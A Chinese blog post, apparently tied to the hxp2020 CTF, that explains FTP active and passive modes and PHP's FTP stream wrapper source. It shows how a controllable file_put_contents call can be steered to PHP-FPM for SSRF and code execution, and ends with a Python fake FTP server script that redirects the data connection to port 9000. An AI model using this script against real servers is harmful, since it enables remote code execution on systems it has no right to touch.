前言

猛的,有趣的。


FTP

文件传输协议,其中服务端用于存储文件,客户端可以通过该协议访问服务端上的资源,可以进行文件上传和文件下载操作。

FTP的工作模式有两种,其中一种为主动(Port)模式,在该模式下,客户端首先连接服务端的21端口,完成认证后自身打开并监听一个端口,再将端口号告知服务端,最后由服务端连接客户端的该端口并传输文件。因为主动模式下需要由服务端主动连接客户端,所以会因为客户端的防火墙等措施出现阻塞的情况。

另一种为被动(Passive)模式,在该模式下,客户端同样首先连接服务端的21端口,此时客户端会提交一个PASV命令,代表进入被动模式,然后服务端监听一个端口,再将端口号告知客户端,由客户端连接服务端的该端口进行文件传输。

而由于主动模式存在各种隐患,FTP客户端一般选择使用被动模式进行交互。

用docker搭建一个FTP服务(使用的镜像为fauria/vsftpd),然后简单用FTP客户端上传一个文件,抓个包看看:

可以看出,客户端完成认证之后,将传输模式设置为Binary,然后发送了一条PORT命令,将自身监听的端口以149,83的形式告知服务端。服务端计算149*256+83=38227得出端口,用自身的20端口和客户端的该端口建立连接后,客户端就将文件内容传输至服务端,并保存在指定目录下。

观察流量包可以发现,在客户端发送完PORT命令后,服务端的相应为:

Response: 200 PORT command successful. Consider using PASV.

结合流量包交互流程,我们可以发现,此次文件传输使用的是FTP的主动模式。

观察文件传输数据包:

可以发现,20和38227端口之间的数据交互内容就是上传的文件内容。

接下来尝试使用被动模式,使用PASV命令进入被动模式并抓包:

大致的流程相同,只不过开启端口的是服务端,开启的端口也由服务端告知客户端。除此之外,文件传输使用的是一个TCP包,文件内容被放置在TCP包的数据部分。

很明显,在一次客户端通过FTP协议上传文件的过程中,如果我们可以控制其上传文件的目的地,以及上传文件内容,我们就可以通过伪造FTP服务端的方式,让客户端向一个特定地方发送一个可控的TCP包,实现一次自由度相当高的SSRF攻击。

PHP-FPM

我们都知道,当PHP运行在FPM模式下时,一次请求是由Nginx作为代理,通过FastCGI协议与PHP进行交互来实现的。此时PHP就是一个独立的服务,可以通过SSRF的方式进行访问,满足条件时甚至可以实现RCE。

而PHP中的file_put_contents函数,底层支持FTP协议,所以在PHP运行在FPM模式的情况下,可以将一个文件写漏洞转换为一个RCE漏洞(前提是写文件路径可控,且内容完全可控)。

先来看看PHP的file_put_contents函数对FTP协议的实现,找到ftp_fopen_wrapper.c里的php_stream_url_wrap_ftp函数:

stream = php_ftp_fopen_connect(wrapper, path, mode, options, opened_path, context, &reuseid, &resource, &use_ssl, &use_ssl_on_data);
if (!stream) {
    goto errexit;
}

进入php_ftp_fopen_connect函数开始连接服务端:

/* Start talking to ftp server */
result = GET_FTP_RESULT(stream);
if (result > 299 || result < 200) {
    php_stream_notify_error(context, PHP_STREAM_NOTIFY_FAILURE, tmp_line, result);
    goto connect_errexit;
}

开始建立连接,要求第一个响应码在200-299之间,相当于一个Hello招呼,也就是流量包里的:

继续看代码:

/* send the user name */
if (resource->user != NULL) {
    ZSTR_LEN(resource->user) = php_raw_url_decode(ZSTR_VAL(resource->user), ZSTR_LEN(resource->user));

    PHP_FTP_CNTRL_CHK(ZSTR_VAL(resource->user), ZSTR_LEN(resource->user), "Invalid login %s")

        php_stream_printf(stream, "USER %s\r\n", ZSTR_VAL(resource->user));
} else {
    php_stream_write_string(stream, "USER anonymous\r\n");
}

开始验证登录,首先客户端发送用户名,也就是流量包里的:

然后:

/* if a password is required, send it */
if (result >= 300 && result <= 399) {
    php_stream_notify_info(context, PHP_STREAM_NOTIFY_AUTH_REQUIRED, tmp_line, 0);

    if (resource->pass != NULL) {
        ZSTR_LEN(resource->pass) = php_raw_url_decode(ZSTR_VAL(resource->pass), ZSTR_LEN(resource->pass));

        PHP_FTP_CNTRL_CHK(ZSTR_VAL(resource->pass), ZSTR_LEN(resource->pass), "Invalid password %s")

            php_stream_printf(stream, "PASS %s\r\n", ZSTR_VAL(resource->pass));
    } else {
        /* if the user has configured who they are,
               send that as the password */
        if (FG(from_address)) {
            php_stream_printf(stream, "PASS %s\r\n", FG(from_address));
        } else {
            php_stream_write_string(stream, "PASS anonymous\r\n");
        }
    }

    /* read the response */
    result = GET_FTP_RESULT(stream);

    if (result > 299 || result < 200) {
        php_stream_notify_error(context, PHP_STREAM_NOTIFY_AUTH_RESULT, tmp_line, result);
    } else {
        php_stream_notify_info(context, PHP_STREAM_NOTIFY_AUTH_RESULT, tmp_line, result);
    }
}
if (result > 299 || result < 200) {
    goto connect_errexit;
}

然后根据响应确定是否需要输入密码,当响应码为300-399时代表需要输入密码(其后响应码为200-299代表密码正确),200-299代表不需要,也就是流量包中的:

这样连接部分就完成了,访问上一个函数:

/* set the connection to be binary */
php_stream_write_string(stream, "TYPE I\r\n");
result = GET_FTP_RESULT(stream);
if (result > 299 || result < 200)
    goto errexit;
...
/* set up the passive connection */
portno = php_fopen_do_pasv(stream, ip, sizeof(ip), &hoststart);

将传输模式设置为Binary,然后进入php_fopen_do_pasv函数:

/* EPSV failed, let's try PASV */
php_stream_write_string(stream, "PASV\r\n");
result = GET_FTP_RESULT(stream);

/* make sure we got a 227 response */
if (result != 227) {
    return 0;
}

将模式切换为被动模式,并确保切换成功,也就是流量包中的:

之后就是解析并计算出被动模式下服务端的地址以及监听的端口,并发送文件内容了。

接下来试试让客户端将命令发送给本地的2333端口,先起一个docker:

docker run -id --name ftp -e FTP_PASS=admin -e PASV_ADDRESS=127.0.0.1 -e PASV_MIN_PORT=2333 -e PASV_MAX_PORT=2333 fauria/vsftpd

然后将FTP切换为被动模式并上传文件,可以看到:

虽然客户端连接上了本地的2333端口,但是由于服务端没有告知客户端可以发送文件了,所以流程卡住了,也就是流量包中的这部分没有完成:

所以要实现一次攻击,还需要自己实现一个伪造的FTP服务端,详见参考文章,脚本如下:

import socket

host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

conn, address = sk.accept()
conn.send("200 \n")
print '200'
print conn.recv(20)

conn.send("200 \n")
print '200'
print conn.recv(20)

conn.send("200 \n")
print '200'
print conn.recv(20)

conn.send("300 \n")
print '300'
print conn.recv(20)

conn.send("200 \n")
print '200'
print conn.recv(20)
print "ck"
conn.send("227 127,0,0,1,8,6952\n")
print '200'
print conn.recv(20)

conn.send("150 \n")
print '150'
print conn.recv(20)
conn.close()
exit()

参考文章

FTP协议简介

hxp2020的resonator题解分析


Web PHPFPM FastCGI PHP

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Chrome浏览器漏洞入门
php://filter过滤器的奇妙操作